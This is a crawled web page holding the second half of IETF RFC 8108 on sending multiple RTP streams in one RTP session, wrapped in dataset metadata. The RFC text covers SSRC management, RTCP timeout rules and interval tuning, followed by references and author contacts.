"rps_doc_frac_chars_top_4gram": 0.07621950656175613,
"rps_doc_books_importance": -95.6294937133789,
"rps_doc_books_importance_length_correction": -95.6294937133789,
"rps_doc_openwebtext_importance": -53.956722259521484,
"rps_doc_openwebtext_importance_length_correction": -45.894168853759766,
"rps_doc_wikipedia_importance": -37.61323547363281,
"rps_doc_wikipedia_importance_length_correction": -37.61323547363281
},
"fasttext": {
"dclm": 0.17459839582443237,
"english": 0.7201160788536072,
"fineweb_edu_approx": 1.2203320264816284,
"eai_general_math": 0.12825548648834229,
"eai_open_web_math": 0.044880211353302,
"eai_web_code": 0.0032340900506824255
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.455",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,340,421,757,985,485,300 |
Tech-invite 3GPPspecs RFCs SIP Search in Tech-invite
868584838281807978777675747372717069686766656463626160595857565554535251504948474645444342414039383736353433323130292827262524232221201918171615141312111009080706050403020100IETF‑orgGroupsStats
in Index Prev Next
RFC 8108
Sending Multiple RTP Streams in a Single RTP Session
Pages: 29
Group: AVTCORE
Proposed STD
Updates: 35504585
Part 2 of 2 – Pages 15 to 29
First Prev None
Top ToC RFC8108 - Page 15 prevText
6. Adding and Removing SSRCs
The set of SSRCs present in a single RTP session can vary over time
due to changes in the number of endpoints in the session or due to
changes in the number or type of RTP streams being sent.
Every endpoint in an RTP session will have at least one SSRC that it
uses for RTCP reporting, and for sending media if desired. It can
also have additional SSRCs, for sending extra media sources or for
additional RTCP reporting. If the set of media sources being sent
changes, then the set of SSRCs being sent will change. Changes in
the media format or clock rate might also require changes in the set
of SSRCs used. An endpoint can also have more SSRCs than it has
active RTP streams, and send RTCP relating to SSRCs that are not
currently sending RTP data packets so that its peers are aware of the
SSRCs, and have the associated context (e.g., clock synchronization
and an SDES CNAME) in place to be able to play out media as soon as
they becomes active.
In the following, we describe some considerations around adding and
removing RTP streams and their associated SSRCs.
Top ToC RFC8108 - Page 16
6.1. Adding RTP Streams
When an endpoint joins an RTP session, it can have zero, one, or more
RTP streams it will send, or that it is prepared to send. If it has
no RTP stream it plans to send, it still needs an SSRC that will be
used to send RTCP feedback. If it will send one or more RTP streams,
it will need the corresponding number of SSRC values. The SSRCs used
by an endpoint are made known to other endpoints in the RTP session
by sending RTP and RTCP packets. SSRCs can also be signaled using
non-RTP means (e.g., [RFC5576]). Unless restricted by signaling, an
endpoint can, at any time, send an additional RTP stream, identified
by a new SSRC (this might be associated with a signaling event, but
that is outside the scope of this memo). This makes the new SSRC
visible to the other endpoints in the session, since they share the
single SSRC space inherent in the definition of an RTP session.
An endpoint that has never sent an RTP stream will have an SSRC that
it uses for RTCP reporting. If that endpoint wants to start sending
an RTP stream, it is RECOMMENDED that it use its existing SSRC for
that stream, since otherwise the participant count in the RTP session
will be unnecessarily increased, leading to a longer RTCP reporting
interval and larger RTCP reports due to cross reporting. If the
endpoint wants to start sending more than one RTP stream, it will
need to generate a new SSRC for the second and any subsequent RTP
streams.
An endpoint that has previously stopped sending an RTP stream, and
that wants to start sending a new RTP stream, cannot generally reuse
the existing SSRC, and often needs to generate a new SSRC, because an
SSRC cannot change media type (e.g., audio to video) or RTP timestamp
clock rate [RFC7160] and because the SSRC might be associated with a
particular semantic by the application (note: an RTP stream can pause
and restart using the same SSRC, provided RTCP is sent for that SSRC
during the pause; these rules only apply to new RTP streams reusing
an existing SSRC).
6.2. Removing RTP Streams
An SSRC is removed from an RTP session in one of two ways. When an
endpoint stops sending RTP and RTCP packets using an SSRC, then that
SSRC will eventually time out as described in Section 6.3.5 of
[RFC3550]. Alternatively, an SSRC can be explicitly removed from use
by sending an RTCP BYE packet as described in Section 6.3.7 of
[RFC3550]. It is RECOMMENDED that SSRCs be removed from use by
sending an RTCP BYE packet. Note that [RFC3550] requires that the
RTCP BYE SHOULD be the last RTP/RTCP packet sent in the RTP session
Top ToC RFC8108 - Page 17
for an SSRC. If an endpoint needs to restart an RTP stream after
sending an RTCP BYE for its SSRC, it needs to generate a new SSRC
value for that stream.
The finality of sending RTCP BYE means that endpoints need to
consider if the ceasing of transmission of an RTP stream is temporary
or permanent. Temporary suspension of media transmission using a
particular RTP stream (SSRC) needs to maintain that SSRC as an active
participant, by continuing RTCP transmission for it. That way the
media sending can be resumed immediately, knowing that the context is
in place. When permanently halting transmission, a participant needs
to send an RTCP BYE to allow the other participants to use the RTCP
bandwidth resources and clean up their state databases.
An endpoint that ceases transmission of all its RTP streams but
remains in the RTP session MUST maintain at least one SSRC that is to
be used for RTCP reporting and feedback (i.e., it cannot send a BYE
for all SSRCs, but needs to retain at least one active SSRC). As
some Feedback packets can be bound to media type, there might be a
need to maintain one SSRC per media type within an RTP session. An
alternative can be to create a new SSRC to use for RTCP reporting and
feedback. However, to avoid the perception that an endpoint drops
completely out of an RTP session, such a new SSRC ought to be
established first -- before terminating all the existing SSRCs.
7. RTCP Considerations for Streams with Disparate Rates
An RTP session has a single set of parameters that configure the
session bandwidth. These are the RTCP sender and receiver fractions
(e.g., the SDP "b=RR:" and "b=RS:" lines [RFC3556]) and the
parameters of the RTP/AVPF profile [RFC4585] (e.g., trr-int) if that
profile (or its secure extension, RTP/SAVPF [RFC5124]) is used. As a
consequence, the base RTCP reporting interval, before randomization,
will be the same for every sending SSRC in an RTP session.
Similarly, every receiving SSRC in an RTP session will have the same
base reporting interval, although this can differ from the reporting
interval chosen by sending SSRCs. This uniform RTCP reporting
interval for all SSRCs can result in RTCP reports being sent more
often, or too seldom, than is considered desirable for an RTP stream.
For example, consider a scenario in which an audio flow sending at
tens of kilobits per second is multiplexed into an RTP session with a
multi-megabit high-quality video flow. If the session bandwidth is
configured based on the video sending rate, and the default RTCP
bandwidth fraction of 5% of the session bandwidth is used, it is
likely that the RTCP bandwidth will exceed the audio sending rate.
If the reduced minimum RTCP interval described in Section 6.2 of
[RFC3550] is then used in the session, as appropriate for video where
Top ToC RFC8108 - Page 18
rapid feedback on damaged I-frames is wanted, the uniform reporting
interval for all senders could mean that audio sources are expected
to send RTCP packets more often than they send audio data packets.
This bandwidth mismatch can be reduced by careful tuning of the RTCP
parameters, especially trr_int when the RTP/AVPF profile is used, but
cannot be avoided entirely as it is inherent in the design of the
RTCP timing rules, and affects all RTP sessions that contain flows
with greatly mismatched bandwidth.
Different media rates or desired RTCP behaviors can also occur with
SSRCs carrying the same media type. A common case in multiparty
conferencing is when a small number of video streams are shown in
high resolution, while the others are shown as low-resolution
thumbnails, with the choice of which is shown in high resolution
being voice-activity controlled. Here the differences are both in
actual media rate and in choices for what feedback messages might be
needed. Other examples of differences that can exist are due to the
intended usage of a media source. A media source carrying the video
of the speaker in a conference is different from a document camera.
Basic parameters that can differ in this case are frame-rate,
acceptable end-to-end delay, and the Signal-to-Noise Ratio (SNR)
fidelity of the image. These differences affect not only the needed
bitrates, but also possible transmission behaviors, usable repair
mechanisms, what feedback messages the control and repair requires,
the transmission requirements on those feedback messages, and
monitoring of the RTP stream delivery. Other similar scenarios can
also exist.
Sending multiple media types in a single RTP session causes that
session to contain more SSRCs than if each media type was sent in a
separate RTP session. For example, if two participants each send an
audio and a video RTP stream in a single RTP session, that session
will comprise four SSRCs; but if separate RTP sessions had been used
for audio and video, each of those two RTP sessions would comprise
only two SSRCs. Hence, sending multiple RTP streams in an RTP
session increases the amount of cross reporting between the SSRCs, as
each SSRC reports on all other SSRCs in the session. This increases
the size of the RTCP reports, causing them to be sent less often than
would be the case if separate RTP sessions where used for a given
RTCP bandwidth.
Finally, when an RTP session contains multiple media types, it is
important to note that the RTCP reception quality reports, feedback
messages, and extended report blocks used might not be applicable to
all media types. Endpoints will need to consider the media type of
each SSRC, and only send or process reports and feedback that apply
to that particular SSRC and its media type. Signaling solutions
Top ToC RFC8108 - Page 19
might have shortcomings when it comes to indicating that a particular
set of RTCP reports or feedback messages only apply to a particular
media type within an RTP session.
From an RTCP perspective, therefore, it can be seen that there are
advantages to using separate RTP sessions for each media source,
rather than sending multiple media sources in a single RTP session.
However, these are frequently offset by the need to reduce port use,
to ease NAT/firewall traversal, achieved by combining media sources
into a single RTP session. The following sections consider some of
the issues with using RTCP in sessions with multiple media sources in
more detail.
7.1. Timing Out SSRCs
Various issues have been identified with timing out SSRC values when
sending multiple RTP streams in an RTP session.
7.1.1. Problems with the RTP/AVPF T_rr_interval Parameter
The RTP/AVPF profile includes a method to prevent regular RTCP
reports from being sent too often. This mechanism is described in
Section 3.5.3 of [RFC4585]; it is controlled by the T_rr_interval
parameter. It works as follows. When a regular RTCP report is sent,
a new random value, T_rr_current_interval, is generated, drawn evenly
in the range 0.5 to 1.5 times T_rr_interval. If a regular RTCP
packet is to be sent earlier than T_rr_current_interval seconds after
the previous regular RTCP packet, and there are no feedback messages
to be sent, then that regular RTCP packet is suppressed and the next
regular RTCP packet is scheduled. The T_rr_current_interval is
recalculated each time a regular RTCP packet is sent. The benefit of
suppression is that it avoids wasting bandwidth when there is nothing
requiring frequent RTCP transmissions, but still allows utilization
of the configured bandwidth when feedback is needed.
Unfortunately, this suppression mechanism skews the distribution of
the RTCP sending intervals compared to the regular RTCP reporting
intervals. The standard RTCP timing rules, including reconsideration
and the compensation factor, result in the intervals between sending
RTCP packets having a distribution that is skewed towards the upper
end of the range [0.5/1.21828, 1.5/1.21828]*Td, where Td is the
deterministic calculated RTCP reporting interval. With Td = 5 s,
this distribution covers the range [2.052 s, 6.156 s]. In
comparison, the RTP/AVPF suppression rules act in an interval that is
0.5 to 1.5 times T_rr_interval; for T_rr_interval = 5s, this is
[2.5 s, 7.5 s].
Top ToC RFC8108 - Page 20
The effect of this is that the time between consecutive RTCP packets
when using T_rr_interval suppression can become large. The maximum
time interval between sending one regular RTCP packet and the next,
when T_rr_interval is being used, occurs when T_rr_current_interval
takes its maximum value and a regular RTCP packet is suppressed at
the end of the suppression period, then the next regular RTCP packet
is scheduled after its largest possible reporting interval. Taking
the worst case of the two intervals gives a maximum time between two
RTCP reports of 1.5*T_rr_interval + 1.5/1.21828*Td.
This behavior can be surprising when Td and T_rr_interval have the
same value. That is, when T_rr_interval is configured to match the
regular RTCP reporting interval. In this case, one might expect that
regular RTCP packets are sent according to their usual schedule, but
feedback packets can be sent early. However, the above-mentioned
issue results in the RTCP packets actually being sent in the range
[0.5*Td, 2.731*Td] with a highly non-uniform distribution, rather
than the range [0.41*Td, 1.23*Td]. This is perhaps unexpected, but
is not a problem in itself. However, when coupled with packet loss,
it raises the issue of premature timeout.
7.1.2. Avoiding Premature Timeout
In RTP/AVP [RFC3550] the timeout behavior is simple; it is 5 times
Td, where Td is calculated with a Tmin value of 5 seconds. In other
words, if the configured RTCP bandwidth allows for an average RTCP
reporting interval shorter than 5 seconds, the timeout is 25 seconds
of no activity from the SSRC (RTP or RTCP); otherwise, the timeout is
5 average reporting intervals.
RTP/AVPF [RFC4585] introduces different timeout behaviors depending
on the value of T_rr_interval. When T_rr_interval is 0, it uses the
same timeout calculation as RTP/AVP. However, when T_rr_interval is
non-zero, it replaces Tmin in the timeout calculation, most likely to
speed up detection of timed out SSRCs. However, using a non-zero
T_rr_interval has two consequences for RTP behavior.
First, due to suppression, the number of RTP and RTCP packets sent by
an SSRC that is not an active RTP sender can become very low, because
of the issue discussed in Section 7.1.1. As the RTCP packet interval
can be as long as 2.73*Td, during a 5*Td time period, an endpoint
might in fact transmit only a single RTCP packet. The long intervals
result in fewer RTCP packets, to a point where a single RTCP packet
loss can sometimes result in timing out an SSRC.
Second, the RTP/AVPF changes to the timeout rules reduce robustness
to misconfiguration. It is common to use RTP/AVPF configured such
that RTCP packets can be sent frequently to allow rapid feedback;
Top ToC RFC8108 - Page 21
however, this makes timeouts very sensitive to T_rr_interval. For
example, if two SSRCs are configured, one with T_rr_interval = 0.1 s
and the other with T_rr_interval = 0.6 s, then this small difference
will result in the SSRC with the shorter T_rr_interval timing out the
other if it stops sending RTP packets, since the other RTCP reporting
interval is more than five times its own. When RTP/AVP is used, or
RTP/AVPF with T_rr_interval = 0, this is a non-issue, as the timeout
period will be 25 s, and differences between configured RTCP
bandwidth can only cause premature timeouts when the reporting
intervals are greater than 5 s and differ by a factor of five. To
limit the scope for such problematic misconfiguration, we define an
update to the RTP/AVPF timeout rules in Section 7.1.4.
7.1.3. Interoperability between RTP/AVP and RTP/AVPF
If endpoints implementing the RTP/AVP and RTP/AVPF profiles (or their
secure variants) are combined within a single RTP session, and the
RTP/AVPF endpoints use a non-zero T_rr_interval that is significantly
below 5 seconds, there is a risk that the RTP/AVPF endpoints will
prematurely time out the SSRCs of the RTP/AVP endpoints, due to their
different RTCP timeout rules. Conversely, if the RTP/AVPF endpoints
use a T_rr_interval that is significantly larger than 5 seconds,
there is a risk that the RTP/AVP endpoints will time out the SSRCs of
the RTP/AVPF endpoints.
Mixing endpoints using two different RTP profiles within a single RTP
session is NOT RECOMMENDED. However, if mixed RTP profiles are used,
and the RTP/AVPF endpoints are not updated to follow Section 7.1.4 of
this memo, then the RTP/AVPF session SHOULD be configured to use
T_rr_interval = 4 seconds to avoid premature timeouts.
The choice of T_rr_interval = 4 seconds for interoperability might
appear strange. Intuitively, this value ought to be 5 seconds, to
make both the RTP/AVP and RTP/AVPF use the same timeout period.
However, the behavior outlined in Section 7.1.1 shows that actual
RTP/AVPF reporting intervals can be longer than expected. Setting
T_rr_interval = 4 seconds gives actual RTCP intervals near to those
expected by RTP/AVP, ensuring interoperability.
Top ToC RFC8108 - Page 22
7.1.4. Updated SSRC Timeout Rules
To ensure interoperability and avoid premature timeouts, all SSRCs in
an RTP session MUST use the same timeout behavior. However, previous
specifications are inconsistent in this regard. To avoid
interoperability issues, this memo updates the timeout rules as
follows:
o For the RTP/AVP, RTP/SAVP, RTP/AVPF, and RTP/SAVPF profiles, the
timeout interval SHALL be calculated using a multiplier of five
times the deterministic RTCP reporting interval. That is, the
timeout interval SHALL be 5*Td.
o For the RTP/AVP, RTP/SAVP, RTP/AVPF, and RTP/SAVPF profiles,
calculation of Td, for the purpose of calculating the participant
timeout only, SHALL be done using a Tmin value of 5 seconds and
not the reduced minimal interval, even if the reduced minimum
interval is used to calculate RTCP packet transmission intervals.
This changes the behavior for the RTP/AVPF or RTP/SAVPF profiles when
T_rr_interval != 0. Specifically, the first paragraph of
Section 3.5.4 of [RFC4585] is updated to use Tmin instead of
T_rr_interval in the timeout calculation for RTP/AVPF entities.
7.2. Tuning RTCP Transmissions
This subsection discusses what tuning can be done to reduce the
downsides of the shared RTCP packet intervals. First, what
possibilities exist for the RTP/AVP [RFC3551] profile are listed
followed by what additional tools are provided by RTP/AVPF [RFC4585].
7.2.1. RTP/AVP and RTP/SAVP
When using the RTP/AVP or RTP/SAVP profiles, the options for tuning
the RTCP reporting intervals are limited to the RTCP sender and
receiver bandwidth, and whether the minimum RTCP interval is scaled
according to the bandwidth. As the scheduling algorithm includes
both randomization and reconsideration, one cannot simply calculate
the expected average transmission interval using the formula for Td
given in Section 6.3.1 of [RFC3550]. However, by considering the
inputs to that expression, and the randomization and reconsideration
rules, we can begin to understand the behavior of the RTCP
transmission interval.
Top ToC RFC8108 - Page 23
Let's start with some basic observations:
a. Unless the scaled minimum RTCP interval is used, Td prior to
randomization and reconsideration can never be less than Tmin.
The default value of Tmin is 5 seconds.
b. If the scaled minimum RTCP interval is used, Td can become as low
as 360 divided by RTP Session bandwidth in kilobits per second.
In SDP, the RTP session bandwidth is signaled using a "b=AS"
line. An RTP Session bandwidth of 72 kbps results in Tmin being
5 seconds. An RTP session bandwidth of 360 kbps of course gives
a Tmin of 1 second, and to achieve a Tmin equal to once every
frame for a 25 frame-per-second video stream requires an RTP
session bandwidth of 9 Mbps. Use of the RTP/AVPF or RTP/SAVPF
profile allows more frequent RTCP reports for the same bandwidth,
as discussed below.
c. The value of Td scales with the number of SSRCs and the average
size of the RTCP reports to keep the overall RTCP bandwidth
constant.
d. The actual transmission interval for a Td value is in the range
[0.5*Td/1.21828, 1.5*Td/1.21828], and the distribution is skewed,
due to reconsideration, with the majority of the probability mass
being above Td. This means, for example, that for Td = 5 s, the
actual transmission interval will be distributed in the range
[2.052 s, 6.156 s], and tending towards the upper half of the
interval. Note that Tmin parameter limits the value of Td before
randomization and reconsideration are applied, so the actual
transmission interval will cover a range extending below Tmin.
Given the above, we can calculate the number of SSRCs, n, that an RTP
session with 5% of the session bandwidth assigned to RTCP can support
while maintaining Td equal to Tmin. This will tell us how many RTP
streams we can report on, keeping the RTCP overhead within acceptable
bounds. We make two assumptions that simplify the calculation: that
all SSRCs are senders, and that they all send compound RTCP packets
comprising an SR packet with n-1 report blocks, followed by an SDES
packet containing a 16 octet CNAME value [RFC7022] (such RTCP packets
will vary in size between 54 and 798 octets depending on n, up to the
maximum of 31 report blocks that can be included in an SR packet).
If we put this packet size, and a 5% RTCP bandwidth fraction into the
RTCP interval calculation in Section 6.3.1 of [RFC3550], and
calculate the value of n needed to give Td = Tmin for the scaled
minimum interval, we find n=9 SSRCs can be supported (irrespective of
the interval, due to the way the reporting interval scales with the
session bandwidth). We see that to support more SSRCs without
changing the scaled minimum interval, we need to increase the RTCP
Top ToC RFC8108 - Page 24
bandwidth fraction from 5%; changing the session bandwidth to a
higher value would reduce the Tmin. However, if using the default 5%
allocation of RTCP bandwidth, an increase will result in more SSRCs
being supported given a fixed Td target.
Based on the above, when using the RTP/AVP profile or the RTP/SAVP
profile, the key limitation for rapid RTCP reporting in small unicast
sessions is going to be the Tmin value. The RTP session bandwidth
configured in RTCP has to be sufficiently high to reach the reporting
goals the application has following the rules for the scaled minimal
RTCP interval.
7.2.2. RTP/AVPF and RTP/SAVPF
When using RTP/AVPF or RTP/SAVPF, we have a powerful additional tool
for tuning RTCP transmissions: the T_rr_interval parameter. Use of
this parameter allows short RTCP reporting intervals; alternatively
it gives the ability to sent frequent RTCP feedback without sending
frequent regular RTCP reports.
The use of the RTP/AVPF or RTP/SAVPF profile with T_rr_interval set
to a value greater than zero but smaller than Tmin allows more
frequent RTCP feedback than the RTP/AVP or RTP/SAVP profiles, for a
given RTCP bandwidth. This happens because Tmin is set to zero after
the transmission of the initial RTCP report, causing the reporting
interval for later packet to be determined by the usual RTCP
bandwidth-based calculation, with Tmin=0, and the T_rr_interval.
This has the effect that we are no longer restricted by the minimal
interval (whether the default 5-second minimum or the reduced minimum
interval). Rather, the RTCP bandwidth and the T_rr_interval are the
governing factors, allowing faster feedback. Applications that care
about rapid regular RTCP feedback ought to consider using the RTP/
AVPF or RTP/SAVPF profile, even if they don't use the feedback
features of that profile.
The use of the RTP/AVPF or RTP/SAVPF profile allows RTCP feedback
packets to be sent frequently, without also requiring regular RTCP
reports to be sent frequently, since T_rr_interval limits the rate at
which regular RTCP packets can be sent, while still permitting RTCP
feedback packets to be sent. Applications that can use feedback
packets for some RTP streams, e.g., video streams, but don't want
frequent regular reporting for other RTP streams, can configure the
T_rr_interval to a value so that the regular reporting for both audio
and video is at a level that is considered acceptable for the audio.
They could then use feedback packets, which will include RTCP SR/RR
packets unless reduced size RTCP feedback packets [RFC5506] are used,
Top ToC RFC8108 - Page 25
for the video reporting. This allows the available RTCP bandwidth to
be devoted on the feedback that provides the most utility for the
application.
Using T_rr_interval still requires one to determine suitable values
for the RTCP bandwidth value. Indeed, it might make this choice even
more important, as this is more likely to affect the RTCP behavior
and performance than when using the RTP/AVP or RTP/SAVP profile, as
there are fewer limitations affecting the RTCP transmission.
When T_rr_interval is non-zero, there are configurations that need to
be avoided. If the RTCP bandwidth chosen is such that the Td value
is smaller than, but close to, T_rr_interval, then the actual regular
RTCP packet transmission interval can become very large, as discussed
in Section 7.1.1. Therefore, for configuration where one intends to
have Td smaller than T_rr_interval, then Td is RECOMMENDED to be
targeted at values less than 1/4th of T_rr_interval, which results in
the range becoming [0.5*T_rr_interval, 1.81*T_rr_interval].
With the RTP/AVPF or RTP/SAVPF profiles, using T_rr_interval = 0 has
utility and results in a behavior where the RTCP transmission is only
limited by the bandwidth, i.e., no Tmin limitations at all. This
allows more frequent regular RTCP reporting than can be achieved
using the RTP/AVP profile. Many configurations of RTCP will not
consume all the bandwidth that they have been configured to use, but
this configuration will consume what it has been given. Note that
the same behavior will be achieved as long as T_rr_interval is
smaller than 1/3 of Td as that prevents T_rr_interval from affecting
the transmission.
There exists no method for using different regular RTCP reporting
intervals depending on the media type or individual RTP stream, other
than using a separate RTP session for each type or stream.
8. Security Considerations
When using the secure RTP protocol (RTP/SAVP) [RFC3711], or the
secure variant of the feedback profile (RTP/SAVPF) [RFC5124], the
cryptographic context of a compound secure RTCP packet is the SSRC of
the sender of the first RTCP (sub-)packet. This could matter in some
cases, especially for keying mechanisms such as MIKEY [RFC3830] that
allow use of per-SSRC keying.
Otherwise, the standard security considerations of RTP apply; sending
multiple RTP streams from a single endpoint in a single RTP session
does not appear to have different security consequences than sending
the same number of RTP streams spread across different RTP sessions.
Top ToC RFC8108 - Page 26
9. References
9.1. Normative References
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate
Requirement Levels", BCP 14, RFC 2119,
DOI 10.17487/RFC2119, March 1997,
<http://www.rfc-editor.org/info/rfc2119>.
[RFC3550] Schulzrinne, H., Casner, S., Frederick, R., and V.
Jacobson, "RTP: A Transport Protocol for Real-Time
Applications", STD 64, RFC 3550, DOI 10.17487/RFC3550,
July 2003, <http://www.rfc-editor.org/info/rfc3550>.
[RFC3711] Baugher, M., McGrew, D., Naslund, M., Carrara, E., and K.
Norrman, "The Secure Real-time Transport Protocol (SRTP)",
RFC 3711, DOI 10.17487/RFC3711, March 2004,
<http://www.rfc-editor.org/info/rfc3711>.
[RFC4585] Ott, J., Wenger, S., Sato, N., Burmeister, C., and J. Rey,
"Extended RTP Profile for Real-time Transport Control
Protocol (RTCP)-Based Feedback (RTP/AVPF)", RFC 4585,
DOI 10.17487/RFC4585, July 2006,
<http://www.rfc-editor.org/info/rfc4585>.
[RFC5124] Ott, J. and E. Carrara, "Extended Secure RTP Profile for
Real-time Transport Control Protocol (RTCP)-Based Feedback
(RTP/SAVPF)", RFC 5124, DOI 10.17487/RFC5124, February
2008, <http://www.rfc-editor.org/info/rfc5124>.
[RFC5506] Johansson, I. and M. Westerlund, "Support for Reduced-Size
Real-Time Transport Control Protocol (RTCP): Opportunities
and Consequences", RFC 5506, DOI 10.17487/RFC5506, April
2009, <http://www.rfc-editor.org/info/rfc5506>.
9.2. Informative References
[CLUE-FRAME]
Duckworth, M., Ed., Pepperell, A., and S. Wenger,
"Framework for Telepresence Multi-Streams", Work in
Progress, draft-ietf-clue-framework-25, January 2016.
[MULTI-RTP]
Westerlund, M., Perkins, C., and J. Lennox, "Sending
Multiple Types of Media in a Single RTP Session", Work in
Progress, draft-ietf-avtcore-multi-media-rtp-session-13,
December 2015.
Top ToC RFC8108 - Page 27
[MULTI-STREAM-OPT]
Lennox, J., Westerlund, M., Wu, Q., and C. Perkins,
"Sending Multiple Media Streams in a Single RTP Session:
Grouping RTCP Reception Statistics and Other Feedback",
Work in Progress, draft-ietf-avtcore-rtp-multi-
stream-optimisation-12, March 2016.
[RFC3390] Allman, M., Floyd, S., and C. Partridge, "Increasing TCP's
Initial Window", RFC 3390, DOI 10.17487/RFC3390, October
2002, <http://www.rfc-editor.org/info/rfc3390>.
[RFC3551] Schulzrinne, H. and S. Casner, "RTP Profile for Audio and
Video Conferences with Minimal Control", STD 65, RFC 3551,
DOI 10.17487/RFC3551, July 2003,
<http://www.rfc-editor.org/info/rfc3551>.
[RFC3556] Casner, S., "Session Description Protocol (SDP) Bandwidth
Modifiers for RTP Control Protocol (RTCP) Bandwidth",
RFC 3556, DOI 10.17487/RFC3556, July 2003,
<http://www.rfc-editor.org/info/rfc3556>.
[RFC3830] Arkko, J., Carrara, E., Lindholm, F., Naslund, M., and K.
Norrman, "MIKEY: Multimedia Internet KEYing", RFC 3830,
DOI 10.17487/RFC3830, August 2004,
<http://www.rfc-editor.org/info/rfc3830>.
[RFC4588] Rey, J., Leon, D., Miyazaki, A., Varsa, V., and R.
Hakenberg, "RTP Retransmission Payload Format", RFC 4588,
DOI 10.17487/RFC4588, July 2006,
<http://www.rfc-editor.org/info/rfc4588>.
[RFC5104] Wenger, S., Chandra, U., Westerlund, M., and B. Burman,
"Codec Control Messages in the RTP Audio-Visual Profile
with Feedback (AVPF)", RFC 5104, DOI 10.17487/RFC5104,
February 2008, <http://www.rfc-editor.org/info/rfc5104>.
[RFC5576] Lennox, J., Ott, J., and T. Schierl, "Source-Specific
Media Attributes in the Session Description Protocol
(SDP)", RFC 5576, DOI 10.17487/RFC5576, June 2009,
<http://www.rfc-editor.org/info/rfc5576>.
[RFC6190] Wenger, S., Wang, Y., Schierl, T., and A. Eleftheriadis,
"RTP Payload Format for Scalable Video Coding", RFC 6190,
DOI 10.17487/RFC6190, May 2011,
<http://www.rfc-editor.org/info/rfc6190>.
Top ToC RFC8108 - Page 28
[RFC6928] Chu, J., Dukkipati, N., Cheng, Y., and M. Mathis,
"Increasing TCP's Initial Window", RFC 6928,
DOI 10.17487/RFC6928, April 2013,
<http://www.rfc-editor.org/info/rfc6928>.
[RFC7022] Begen, A., Perkins, C., Wing, D., and E. Rescorla,
"Guidelines for Choosing RTP Control Protocol (RTCP)
Canonical Names (CNAMEs)", RFC 7022, DOI 10.17487/RFC7022,
September 2013, <http://www.rfc-editor.org/info/rfc7022>.
[RFC7160] Petit-Huguenin, M. and G. Zorn, Ed., "Support for Multiple
Clock Rates in an RTP Session", RFC 7160,
DOI 10.17487/RFC7160, April 2014,
<http://www.rfc-editor.org/info/rfc7160>.
[RFC7667] Westerlund, M. and S. Wenger, "RTP Topologies", RFC 7667,
DOI 10.17487/RFC7667, November 2015,
<http://www.rfc-editor.org/info/rfc7667>.
[SDP-BUNDLE]
Holmberg, C., Alvestrand, H., and C. Jennings,
"Negotiating Media Multiplexing Using the Session
Description Protocol (SDP)", Work in Progress,
draft-ietf-mmusic-sdp-bundle-negotiation-36, October 2016.
[Sim88] Westerlund, M., "SIMULATION RESULTS FOR MULTI-STREAM",
IETF 88 Proceedings, November 2013,
<https://www.ietf.org/proceedings/88/slides/
slides-88-avtcore-0.pdf>.
[Sim92] Westerlund, M., Lennox, J., Perkins, C., and Q. Wu,
"Changes in RTP Multi-stream", IETF 92 Proceedings, March
2015, <https://www.ietf.org/proceedings/92/slides/
slides-92-avtcore-0.pdf>.
Top ToC RFC8108 - Page 29
Acknowledgments
The authors like to thank Harald Alvestrand and everyone else who has
been involved in the development of this document.
Authors' Addresses
Jonathan Lennox
Vidyo, Inc.
433 Hackensack Avenue
Seventh Floor
Hackensack, NJ 07601
United States of America
Email: [email protected]
Magnus Westerlund
Ericsson
Farogatan 2
SE-164 80 Kista
Sweden
Phone: +46 10 714 82 87
Email: [email protected]
Qin Wu
Huawei
101 Software Avenue, Yuhua District
Nanjing, Jiangsu 210012
China
Email: [email protected]
Colin Perkins
University of Glasgow
School of Computing Science
Glasgow G12 8QQ
United Kingdom
Email: [email protected]
|
{
"url": "https://www.tech-invite.com/y80/tinv-ietf-rfc-8108-2.html",
"source_domain": "www.tech-invite.com",
"snapshot_id": "crawl=CC-MAIN-2019-43",
"warc_metadata": {
"Content-Length": "64966",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZNNO67RIH6Z5GJNB3WWT5ISG2WT5RU3K",
"WARC-Concurrent-To": "<urn:uuid:1e95c4b5-c325-4701-9d6a-7e0334a4e440>",
"WARC-Date": "2019-10-23T17:31:17Z",
"WARC-IP-Address": "91.191.158.160",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:BYTPVSUHJ3L6JCN4OE2XXUZWG5SM4MCB",
"WARC-Record-ID": "<urn:uuid:69cbe12b-c3e1-4224-b9c6-74b995e11faa>",
"WARC-Target-URI": "https://www.tech-invite.com/y80/tinv-ietf-rfc-8108-2.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:af27e270-2c00-4504-ac6f-ae3fcf15594f>"
},
